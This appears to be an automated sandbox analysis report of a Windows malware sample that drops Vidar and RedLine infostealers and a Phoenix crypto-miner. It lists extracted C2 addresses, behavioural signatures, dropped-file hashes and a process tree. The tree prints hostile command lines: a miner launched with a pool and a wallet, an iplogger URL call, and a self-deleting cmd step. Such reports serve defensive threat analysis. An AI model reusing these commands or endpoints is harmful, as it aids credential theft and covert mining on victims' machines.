Analysis

  • max time kernel
    100s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24/10/2022, 11:45

General

  • Target
    file.exe
  • Size 289KB
  • Sample221024-nwp5hsgcb8
  • SHA256 b86d6ea3ce0dc5838b25832e447df16bebe6d3da489401bee5b6f565cebea5b7
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • vidar

Version
  • 55.1

Botnet
  • 1515

C2
  • https://t.me/tg_privatetalk

  • https://nerdculture.de/@yixehi33

Attributes
  • profile_id

    1515

Extracted

Family
  • redline

Botnet
  • Lyla5.09.10

C2
  • 185.215.113.216:21921

Attributes
  • auth_value

    f4cb3c95f7f660ec19bf1f8dd48c3b24

Signatures

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • Detectes Phoenix Miner Payload 5 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 10 IoCs
  • VMProtect packed file 9 IoCs

    Detects executables packed with VMProtect commercial packer.

  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 5 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses 2FA software files, possible credential harvesting 2 TTPs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:4308
    • C:\Users\Admin\AppData\Local\Temp\file.exe
      "C:\Users\Admin\AppData\Local\Temp\file.exe"
      2⤵
      • Adds Run key to start application
      • Suspicious use of WriteProcessMemory
      PID:4780
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c start C:\Users\Admin\AppData\Roaming\explorer\explorer.exe
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:228
        • C:\Users\Admin\AppData\Roaming\explorer\explorer.exe
          C:\Users\Admin\AppData\Roaming\explorer\explorer.exe
          4⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:100
          • C:\Users\Admin\AppData\Roaming\explorer\svchost.exe
            -pool us-etc.2miners.com:1010 -wal 0xB7b2553E9b6DC10186ddD09AB9fbE71C68da0851.ferms -epsw x -mode 1 -log 0 -mport 0 -etha 0 -ftime 55 -retrydelay 1 -coin etc
            5⤵
            • Executes dropped EXE
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • Suspicious behavior: EnumeratesProcesses
            PID:3920
      • C:\Users\Admin\AppData\Local\Temp\F81521J5MDBHM7H.exe
        "C:\Users\Admin\AppData\Local\Temp\F81521J5MDBHM7H.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1728
        • C:\Users\Admin\AppData\Local\Temp\F81521J5MDBHM7H.exe
          "C:\Users\Admin\AppData\Local\Temp\F81521J5MDBHM7H.exe"
          4⤵
          • Executes dropped EXE
          • Checks computer location settings
          • Loads dropped DLL
          • Checks processor information in registry
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:3680
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /c timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\F81521J5MDBHM7H.exe" & exit
            5⤵
              PID:1932
              • C:\Windows\SysWOW64\timeout.exe
                timeout /t 6
                6⤵
                • Delays execution with timeout.exe
                PID:2236
        • C:\Users\Admin\AppData\Local\Temp\8I0JH8C48G0LL55.exe
          "C:\Users\Admin\AppData\Local\Temp\8I0JH8C48G0LL55.exe"
          3⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:3716
          • C:\Users\Admin\AppData\Local\Temp\8I0JH8C48G0LL55.exe
            "C:\Users\Admin\AppData\Local\Temp\8I0JH8C48G0LL55.exe"
            4⤵
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4644
        • C:\Users\Admin\AppData\Local\Temp\8I0JH8C48G0LL55.exe
          "C:\Users\Admin\AppData\Local\Temp\8I0JH8C48G0LL55.exe"
          3⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:3980
          • C:\Users\Admin\AppData\Local\Temp\8I0JH8C48G0LL55.exe
            "C:\Users\Admin\AppData\Local\Temp\8I0JH8C48G0LL55.exe"
            4⤵
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:460
        • C:\Users\Admin\AppData\Local\Temp\7M0A3743HJKID2F.exe
          "C:\Users\Admin\AppData\Local\Temp\7M0A3743HJKID2F.exe"
          3⤵
          • Executes dropped EXE
          • Checks computer location settings
          • Suspicious use of WriteProcessMemory
          PID:5108
          • C:\Windows\SysWOW64\msiexec.exe
            "C:\Windows\System32\msiexec.exe" -y .\aWI8.K
            4⤵
            • Loads dropped DLL
            PID:544
        • C:\Users\Admin\AppData\Local\Temp\7M0A3743HJKID2F.exe
          https://iplogger.org/1DJDa7
          3⤵
          • Executes dropped EXE
          • Checks computer location settings
          • Suspicious use of WriteProcessMemory
          PID:448
          • C:\Windows\SysWOW64\msiexec.exe
            "C:\Windows\System32\msiexec.exe" -y .\aWI8.K
            4⤵
            • Loads dropped DLL
            PID:2696

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          mozglue.dll

          • Path C:\ProgramData\mozglue.dll
          • Size 593KB
          • SHA256 ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a
          • MD5 SHA1 SHA512 SSDEEP

          nss3.dll

          • Path C:\ProgramData\nss3.dll
          • Size 2.0MB
          • SHA256 ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5
          • MD5 SHA1 SHA512 SSDEEP

          sqlite3.dll

          • Path C:\ProgramData\sqlite3.dll
          • Size 1.1MB
          • SHA256 4841020c8bd06b08fde6e44cbe2e2ab33439e1c8368e936ec5b00dc0584f7260
          • MD5 SHA1 SHA512 SSDEEP

          8I0JH8C48G0LL55.exe.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\8I0JH8C48G0LL55.exe.log
          • Size 42B
          • SHA256 d8988d672d6915b46946b28c06ad8066c50041f6152a91d37ffa5cf129cc146b
          • MD5 SHA1 SHA512

          7M0A3743HJKID2F.exe

          • Path C:\Users\Admin\AppData\Local\Temp\7M0A3743HJKID2F.exe
          • Size 1.7MB
          • SHA256 1b13d05cae0e4eac18dbaffe04a238238d6c2c2be285d825712cfbef91341326
          • MD5 SHA1 SHA512 SSDEEP

          7M0A3743HJKID2F.exe

          • Path C:\Users\Admin\AppData\Local\Temp\7M0A3743HJKID2F.exe
          • Size 1.7MB
          • SHA256 1b13d05cae0e4eac18dbaffe04a238238d6c2c2be285d825712cfbef91341326
          • MD5 SHA1 SHA512 SSDEEP

          7M0A3743HJKID2F.exe

          • Path C:\Users\Admin\AppData\Local\Temp\7M0A3743HJKID2F.exe
          • Size 1.7MB
          • SHA256 1b13d05cae0e4eac18dbaffe04a238238d6c2c2be285d825712cfbef91341326
          • MD5 SHA1 SHA512 SSDEEP

          8I0JH8C48G0LL55.exe

          • Path C:\Users\Admin\AppData\Local\Temp\8I0JH8C48G0LL55.exe
          • Size 280KB
          • SHA256 ec3bbc81bbb832719fd3b0a569da1ada74b225b7a1d3bc1a707bcc4120476efc
          • MD5 SHA1 SHA512 SSDEEP

          8I0JH8C48G0LL55.exe

          • Path C:\Users\Admin\AppData\Local\Temp\8I0JH8C48G0LL55.exe
          • Size 280KB
          • SHA256 ec3bbc81bbb832719fd3b0a569da1ada74b225b7a1d3bc1a707bcc4120476efc
          • MD5 SHA1 SHA512 SSDEEP

          8I0JH8C48G0LL55.exe

          • Path C:\Users\Admin\AppData\Local\Temp\8I0JH8C48G0LL55.exe
          • Size 280KB
          • SHA256 ec3bbc81bbb832719fd3b0a569da1ada74b225b7a1d3bc1a707bcc4120476efc
          • MD5 SHA1 SHA512 SSDEEP

          8I0JH8C48G0LL55.exe

          • Path C:\Users\Admin\AppData\Local\Temp\8I0JH8C48G0LL55.exe
          • Size 280KB
          • SHA256 ec3bbc81bbb832719fd3b0a569da1ada74b225b7a1d3bc1a707bcc4120476efc
          • MD5 SHA1 SHA512 SSDEEP

          8I0JH8C48G0LL55.exe

          • Path C:\Users\Admin\AppData\Local\Temp\8I0JH8C48G0LL55.exe
          • Size 280KB
          • SHA256 ec3bbc81bbb832719fd3b0a569da1ada74b225b7a1d3bc1a707bcc4120476efc
          • MD5 SHA1 SHA512 SSDEEP

          F81521J5MDBHM7H.exe

          • Path C:\Users\Admin\AppData\Local\Temp\F81521J5MDBHM7H.exe
          • Size 367KB
          • SHA256 5f7c22b82bb7dcb071efc024f67819c76613c0664f7e56df022ed942a376f5a5
          • MD5 SHA1 SHA512 SSDEEP

          F81521J5MDBHM7H.exe

          • Path C:\Users\Admin\AppData\Local\Temp\F81521J5MDBHM7H.exe
          • Size 367KB
          • SHA256 5f7c22b82bb7dcb071efc024f67819c76613c0664f7e56df022ed942a376f5a5
          • MD5 SHA1 SHA512 SSDEEP

          F81521J5MDBHM7H.exe

          • Path C:\Users\Admin\AppData\Local\Temp\F81521J5MDBHM7H.exe
          • Size 367KB
          • SHA256 5f7c22b82bb7dcb071efc024f67819c76613c0664f7e56df022ed942a376f5a5
          • MD5 SHA1 SHA512 SSDEEP

          aWI8.K

          • Path C:\Users\Admin\AppData\Local\Temp\aWI8.K
          • Size 1.9MB
          • SHA256 49e4521e8f8fce9c4f01bf4308ccecaa3da3bbcd8bb36a6dd8ffabad6d732487
          • MD5 SHA1 SHA512 SSDEEP

          aWI8.K

          • Path C:\Users\Admin\AppData\Local\Temp\aWI8.K
          • Size 1.9MB
          • SHA256 49e4521e8f8fce9c4f01bf4308ccecaa3da3bbcd8bb36a6dd8ffabad6d732487
          • MD5 SHA1 SHA512 SSDEEP

          aWI8.K

          • Path C:\Users\Admin\AppData\Local\Temp\aWI8.K
          • Size 1.9MB
          • SHA256 49e4521e8f8fce9c4f01bf4308ccecaa3da3bbcd8bb36a6dd8ffabad6d732487
          • MD5 SHA1 SHA512 SSDEEP

          explorer.exe

          • Path C:\Users\Admin\AppData\Roaming\explorer\explorer.exe
          • Size 5.2MB
          • SHA256 f7cbf79fce9ca7d06745604a44c6b2541af476cdd8f5853bf1dbf23213eb3d2b
          • MD5 SHA1 SHA512 SSDEEP

          explorer.exe

          • Path C:\Users\Admin\AppData\Roaming\explorer\explorer.exe
          • Size 5.2MB
          • SHA256 f7cbf79fce9ca7d06745604a44c6b2541af476cdd8f5853bf1dbf23213eb3d2b
          • MD5 SHA1 SHA512 SSDEEP

          svchost.exe

          • Path C:\Users\Admin\AppData\Roaming\explorer\svchost.exe
          • Size 9.7MB
          • SHA256 d645e1c6408572a8e4e7e20e099a8301a6b811131a00bc8b28ca97a4ec951222
          • MD5 SHA1 SHA512 SSDEEP

          svchost.exe

          • Path C:\Users\Admin\AppData\Roaming\explorer\svchost.exe
          • Size 9.7MB
          • SHA256 d645e1c6408572a8e4e7e20e099a8301a6b811131a00bc8b28ca97a4ec951222
          • MD5 SHA1 SHA512 SSDEEP

          memory/100-146-0x00007FF7AFB00000-0x00007FF7B0395000-memory.dmp

          memory/100-149-0x00007FF7AFB00000-0x00007FF7B0395000-memory.dmp

          memory/460-201-0x00000000061E0000-0x00000000063A2000-memory.dmp

          memory/460-182-0x0000000005030000-0x000000000506C000-memory.dmp

          memory/460-208-0x00000000069D0000-0x0000000006A46000-memory.dmp

          memory/460-207-0x0000000006100000-0x0000000006150000-memory.dmp

          memory/460-205-0x0000000006F00000-0x000000000742C000-memory.dmp

          memory/460-181-0x0000000005100000-0x000000000520A000-memory.dmp

          memory/460-189-0x0000000005370000-0x00000000053D6000-memory.dmp

          memory/544-219-0x0000000003740000-0x0000000003845000-memory.dmp

          memory/544-210-0x0000000003740000-0x0000000003845000-memory.dmp

          memory/544-209-0x0000000003520000-0x0000000003624000-memory.dmp

          memory/544-214-0x0000000003850000-0x0000000003910000-memory.dmp

          memory/544-215-0x0000000003910000-0x00000000039BB000-memory.dmp

          memory/1728-154-0x00000000004B0000-0x000000000050F000-memory.dmp

          memory/2696-212-0x00000000032B0000-0x00000000033B5000-memory.dmp

          memory/2696-220-0x00000000034A0000-0x000000000354B000-memory.dmp

          memory/2696-223-0x00000000032B0000-0x00000000033B5000-memory.dmp

          memory/2696-218-0x00000000033D0000-0x0000000003490000-memory.dmp

          memory/2696-211-0x0000000003090000-0x0000000003194000-memory.dmp

          memory/3680-156-0x0000000000410000-0x000000000046E000-memory.dmp

          memory/3680-161-0x0000000000410000-0x000000000046E000-memory.dmp

          memory/3680-164-0x0000000000410000-0x000000000046E000-memory.dmp

          memory/3716-168-0x0000000000150000-0x0000000000199000-memory.dmp

          memory/3920-188-0x00007FF7E2770000-0x00007FF7E3CC7000-memory.dmp

          memory/3920-190-0x00007FF7E2770000-0x00007FF7E3CC7000-memory.dmp

          memory/3920-206-0x00007FF7E2770000-0x00007FF7E3CC7000-memory.dmp

          memory/3980-174-0x0000000000150000-0x0000000000199000-memory.dmp

          memory/4308-132-0x0000000000E20000-0x0000000000E6C000-memory.dmp

          memory/4644-176-0x0000000004F70000-0x0000000005588000-memory.dmp

          memory/4644-180-0x0000000004B50000-0x0000000004B62000-memory.dmp

          memory/4644-171-0x00000000003B0000-0x00000000003E6000-memory.dmp

          memory/4644-213-0x00000000066E0000-0x00000000066FE000-memory.dmp

          memory/4644-191-0x0000000005B40000-0x00000000060E4000-memory.dmp

          memory/4644-192-0x0000000005590000-0x0000000005622000-memory.dmp

          memory/4780-141-0x0000000000B60000-0x0000000000B96000-memory.dmp

          memory/4780-138-0x0000000000B60000-0x0000000000B96000-memory.dmp

          memory/4780-134-0x0000000000B60000-0x0000000000B96000-memory.dmp